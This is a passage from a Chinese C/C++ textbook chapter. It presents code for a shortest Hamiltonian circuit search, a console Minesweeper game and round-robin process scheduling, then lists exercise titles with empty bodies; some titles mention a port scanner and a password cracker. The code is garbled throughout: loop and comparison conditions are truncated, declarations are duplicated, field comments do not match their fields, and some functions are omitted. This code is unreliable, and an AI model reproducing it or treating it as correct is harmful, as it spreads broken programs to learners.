(2)整形数组rulep定义产生式规则;整形数组rulec定义结论;这些都是按照模仿人的思维方式进行推理。 注意:人工智能语言一般指的是函数型语言LISP和逻辑型语言PROLOG。 很多问题求解可以用贪心算法和回溯法实现,如数据结构课程学过的从每个顶点出发查找哈密顿回路的求解算法,就是从中选取最短的路径算法,这些在通讯和计算机网络可能会涉及到。本实例演示这方面的算法,效果如图6-16所示。 图6-16 最短哈密顿回路问题 输入:图的顶点数、边数、边的权值和顶点的标志号。输出:程序输出一条哈密顿回路以及这条回路的权值和。 程序建立一个边的权值矩阵,两个顶点之间如果没有关系则权值为0;程序使用贪心算法和回溯法查找最短的哈密顿回路,程序从每个顶点出发查找哈密顿回路,从中选取最短的路径。代码实现如下: typedef struct Graph { int cost [MaxVerNum][MaxVerNum]; //经过路程 int VexNums,EdgeNums; //个数和边数 char Vexs[MaxVerNum]; //暂存点 }Mgraph,*pMgraph; //建立Matrix void CreatMatrix(pMgraph *pMgra)// { int i,j,k,temp; printf("请输入顶点个数和边数\n"); scanf("%d,%d",&((*pMgra)->VexNums),&((*pMgra)->EdgeNums)); //边数 getchar(); //读字符 printf("请输入顶点的信息输入格式为:顶点号\n"); for(i=0;i<(*pMgra)->VexNums;i++) { scanf("%c",&((*pMgra)->Vexs[i])); //暂存点 getchar(); } for(i=0;i<(*pMgra)->VexNums;i++) for(j=0;j<(*pMgra)->VexNums;j++) //个数 { (*pMgra)->cost[i][j]=0; //经过路程 } printf("请输入两顶点的序列号以及其边的权值\n"); for(k=0;k<(*pMgra)->EdgeNums;k++) //边数 { scanf("%d,%d,%d",&i,&j,&temp); (*pMgra)->cost[i][j]=temp; //经过路程 (*pMgra)->cost[j][i]=temp; //经过路程 } } //查找哈密顿回路 int FindHamiltonPath(pMgraph pMgra,int m) //最短哈密顿回路 { int visit[MaxVerNum]={0}; int stack[MaxVerNum],top=-1; int i,j,temp_j; int min1=100,min2=0; int start=m,sum=0; int flag=0; int countV=1; top++; stack[top]=start; visit[start]=1; while(countV!=pMgra->VexNums) //个数 { min1=100; flag=0; for(j=0;j { //经过路程 if(pMgra->cost[start][j] { min1=pMgra->cost[start][j]; //经过路程 temp_j=j; flag=1; } } if(flag==1) { start=temp_j; top++; stack[top]=start; countV++; min2=0; visit[temp_j]=1; //printf("OK1\n"); } else { if(top>0) { visit[stack[top]]=0; min2=pMgra->cost[stack[top]][stack[top-1]]; //经过路程 top--; start=stack[top]; countV--; //printf("OK2\n"); } } } for(i=0;i { printf("%c->",pMgra->Vexs[stack[i]]); //暂存点 } printf("%c",pMgra->Vexs[stack[0]]); //暂存点 sum=0; for(i=0;i { sum+=pMgra->cost[stack[i]][stack[i+1]]; //经过路程 } sum+=pMgra->cost[stack[top]][stack[0]]; //经过路程 printf(" Sum=%d\n\n",sum); return sum; } int main() { pMgraph G; //哈密顿图 int i=0; int sum[MaxVerNum],start; G=(pMgraph)malloc(sizeof(Mgraph)); CreatMatrix(&G); //创建矩阵 sum[G->VexNums]=100; printf("从所有顶点出发所找到的近似最短哈密顿回路如下\n"); while(i { printf("Start=%d\n",i); sum[i]=FindHamiltonPath(G,i); //查找哈密顿回路 if(sum[i] { sum[G->VexNums]=sum[i]; start=i; } i++; } printf("最短哈密顿回路为\n"); FindHamiltonPath(G,start); //查找哈密顿回路 } (1)本程序使用回溯法,故使用栈来存放访问的节点,使用结构体来存储图的相关信息。相关信息包括顶点号、顶点数、边数以及权值矩阵。结构体定义如下:typedef struct Graph{….}Mgraph,*pMgraph;。 (2)void CreatMatrix(pMgraph *pMgra)函数作用:创建图的存储矩阵,其中pMgra是指向指针的指针。 (3)int FindHamiltonPath(pMgraph pMgra,int m)函数作用:根据已创建的图的信息,寻找以序列号为m的顶点开始的近似最短哈密顿回路,函数返回哈密顿回路的路径长度。其中pMgra是指向存储图的结构体的指针,m是开始查找的顶点的序号。 注意:程序的关键是回溯的条件判断,解决了这个问题,就容易实现哈密顿回路的查找。 以前旧的Windows版本有一个自带的扫雷游戏受大众欢迎,是个逻辑游戏需要玩家判断推理。本例就是以扫雷游戏为例,在Win32控制台下开发,程序中实现了游戏逻辑,效果如图6-17所示。 图6-17 扫雷游戏 定义类tagNODE,初始化Init()输入是行和列,SetBomb()输入雷的数量,布雷是随机的,GetMineCount()根据当前位置得到附近雷的个数或踩到雷个数。代码实现如下: typedef struct tagNODE{ //节点 char cValue; //值 char cState; //状态 }NODE,*PNODE; }NODE,*PNODE; #define NODELEN sizeof(NODE) PNODE g_pszPos; //指向逻辑空间 bool *pbHaveZero; //指向标志空间 int g_iRow; //最大行、列 int g_iCol; bool Init(int iRow, int iCol); //初始化 bool Init(int iRow, int iCol); //初始化 void SetBomb(int iBombs); //布雷 int GetMineCount(int iRow, int iCol); //根据当前位置得到附近雷的个数或踩到雷 void SetNum(); //布数字 void ShowUI(bool); //输出 void ShowResult(int i); //显示结果 bool CheckupMine(int iTmpRow, int iTpmCol); //检测当前地雷信息 int CheckupData(int iRow, int iCol); //检测输入的数据 bool SetAroundNum(int iRow, int iCol); //如果当前值是 '0' ,则设置周围的位置的值 int main(int argc, char* argv[]) { int iRow, iCol; printf("请输入总行、总列数(空格隔开):\n"); scanf("%d", &iRow); scanf("%d", &iCol); bool bRet = Init(iRow, iCol); if (!bRet) { return -1; } int iBombs; printf("请输入雷的数量:\n"); scanf("%d", &iBombs); SetBomb(iBombs); SetNum(); ShowUI(false); //显示答案 printf("\n以下是操作界面:(根据提示进行操作)\n\n GAME START ……\n\n"); ShowUI(true); //显示操作界面 printf(" 提示:\n * 输入你想检测的行、列:\n * 如果要结束游戏,请输入'888 888' \n"); int iTmpRow = 0, iTpmCol = 0; do //游戏循环 { cin>>iTmpRow>>iTpmCol; int Data = CheckupData(iTmpRow, iTpmCol); if (Data == 0) { printf("数据有误,请重新输入:\n"); continue; } else if (Data == -1) { break; } if(!CheckupMine(iTmpRow, iTpmCol)) { return -1; } ShowUI(true); //显示操作界面,继续操作、 } while ( 1 ); //(iTmpRow != 888 || iTpmCol != 888 ) printf("已离开游戏 !!"); // Exit(); return 0; } (1)扫雷游戏目标是在最短的时间内根据单击格子出现的数字找出所有的非雷格子,同时避免踩雷。 (2)程序基本上用函数实现,定义了节点tagNODE存储扫雷的操作信息。 注意:游戏界面不足,操作上不是很顺手,但是用来学习参考还是很不错的。 6.5 链表 数据结构算法是可以用C++语言来实现的。队列是最常用的结构,本实例演示如何用队列来组织进程、如何创建进程和如何实现处理器调度。本例效果如图6-18所示。 图6-18 队列的高效历遍(++ -- 指针运用的高效循环) 编写程序完成单处理机系统中进程调度,要求采用时间片轮转调度算法。首先确定进程控制块的内容,进程控制块的组成方式;然后完成进程创建原语和进程调度原语;最后编写主函数对所做工作的进程进行测试。代码如下: struct Data{ char P[10]; //优先数/轮转时间片数 int T; //占用CPU时间片数 char S; //进程所需时间片数 int Q; //进程状态 }; typedef struct PCB{; struct PCB *next; //指向下一个节点 struct Data sj; }JC; JC *Head=new PCB; //进程就绪链的首指针 void insert(JC *p){ //插入就绪链 JC *tem; tem=Head->next; if(Head->next==NULL) //下一节点为空 { Head->next=p; } else { while(p->sj.Q tem=tem->next; //下一节点 ;p->next=tem->next; tem->next=p; } } void run() //当前运行进程 { //代码略 } void create(JC *p) //进程创建 { //代码略 } void main() { //JC *Head=new PCB; Head->next=NULL; //下一节点 ;JC p[5]; for(int i=0;i<=4;i++) { //p[i]=new PCB; //JC *a=&p[i]; create(p+i); //进程创建 } while(Head->next!=NULL) run(); //当前运行进程 ;cout<<"执行完毕"; system("pause"); } (1)队列(Queue)是运算受到限制一种线性表。只允许在表的一端进行插入元素,而在另一端进行删除元素的线性表;队尾是允许插入的一端,队头是允许删除的一端;空队列是不含元素的空表。 (2)定义结构Data,PCB为队列。代码首先建立一个就绪队列PCB,手工输入信息建立几个进程create,然后进行进程调度run,最后将指向正在运行进程的指针指向的进程控制块的内容输出,查看结果。 注意:以数组作为函数的参数,通过指针进行通信,是上级调用函数向被调用函数传递大量数据的一种方法。 6.6 本章练习【案例分析】
案例6-2 用C++实现定时器功能
【案例描述】
【实现过程】
【案例分析】
案例6-3 TCP端口扫描器
【案例描述】
【实现过程】
【案例分析】
案例6-4 密码破解器
【案例描述】
【实现过程】
【案例分析】
案例6-5 扫描主机开放端口
【案例描述】
【实现过程】
【案例分析】
案例6-6 删除进程
【案例描述】
【实现过程】
【案例分析】
案例6-7 设计一个动态指令接收程序
【案例描述】
【实现过程】
【案例分析】
案例6-8 图形输出算法
【案例描述】
【实现过程】
【案例分析】
案例6-9 编写指令响应程序
【案例描述】
【实现过程】
【案例分析】
案例6-10 网络客户端开发(TCP/UDP)
【案例描述】
【实现过程】
【案例分析】
案例6-11 网络服务端开发(TCP/UDP)
【案例描述】
【实现过程】
【案例分析】
案例6-12 网络聊天室(基于UDP)
【案例描述】
【实现过程】
【案例分析】
案例6-13 指向结构体变量的指针
【案例描述】
【实现过程】
【案例分析】
案例6-14 统计数据(综合)
【案例描述】
【实现过程】
【案例分析】
案例6-15 人工智能(随机+数据库)
【案例描述】
【实现过程】
【案例分析】
案例6-16 最短哈密顿回路问题
【案例描述】
【实现过程】
【案例分析】
案例6-17 扫雷游戏
【案例描述】
【实现过程】
【案例分析】
案例6-18 队列的高效历遍(++、--指针运用的高效循环)
【案例描述】
【实现过程】
【案例分析】